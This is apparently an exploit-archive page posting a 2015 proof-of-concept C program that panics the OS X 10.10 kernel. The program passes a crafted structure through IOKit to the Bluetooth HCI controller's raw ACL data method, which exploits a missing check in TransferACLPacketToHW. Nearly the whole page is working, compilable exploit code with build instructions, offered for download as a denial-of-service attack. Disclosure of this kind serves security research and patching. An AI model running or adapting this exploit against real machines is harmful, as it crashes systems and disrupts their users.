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OS X 10.10 Bluetooth TransferACLPacketToHW Crash Proof Of Concept

OS X 10.10 Bluetooth TransferACLPacketToHW Crash Proof Of Concept
Posted Jan 14, 2015
Authored by Roberto Paleari, Aristide Fattori

OS X 10.10 Bluetooth TransferACLPacketToHW crash denial of service proof of concept exploit.

tags | exploit, denial of service, proof of concept
systems | apple, osx
SHA-256 | 8c9dfd0cb0115429d6229b818d3e69f753cdd59dc26b6381a12ffcbf5264ccda

OS X 10.10 Bluetooth TransferACLPacketToHW Crash Proof Of Concept

Change Mirror Download
/*
* crash-issue3.c: Written for Mac OS X Yosemite (10.10) by @rpaleari and @joystick.
*
* Exploits a missing check in
* IOBluetoothHCIController::TransferACLPacketToHW() to trigger a panic.
*
* gcc -Wall -o crash-issue3{,.c} -framework IOKit
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

struct BluetoothCall {
uint64_t args[7];
uint64_t sizes[7];
uint64_t index;
};

int main(void) {
/* Finding vuln service */
io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOBluetoothHCIController"));

if (!service) {
return -1;
}

/* Connect to vuln service */
io_connect_t port = (io_connect_t) 0;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
IOObjectRelease(service);
if (kr != kIOReturnSuccess) {
return kr;
}

printf(" [+] Opened connection to service on port: %d\n", port);

struct BluetoothCall a;

memset(&a, 0, sizeof(a));

a.sizes[0] = 0x1000;
a.args[0] = (uint64_t) calloc(a.sizes[0], sizeof(char));

a.sizes[1] = 0x1000;
a.args[1] = (uint64_t) calloc(a.sizes[1], sizeof(char));
memset((void *)a.args[1], 0x22, 0x1000);


/* Call DispatchHCISendRawACLData() */
a.index = 0x63;

/* Debug */
for(int i = 0; i < 120; i++) {
if(i % 8 == 0) printf("\n");
printf("\\x%02x", ((unsigned char *)&a)[i]);
}
printf("\n");
fflush(stdout);

kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
(uint32_t) 0, /* Selector */
NULL, 0, /* input, inputCnt */
(const void*) &a, /* inputStruct */
sizeof(a), /* inputStructCnt */
NULL, NULL, NULL, NULL); /* Output stuff */
printf("kr: %08x\n", kr);

return IOServiceClose(port);
}

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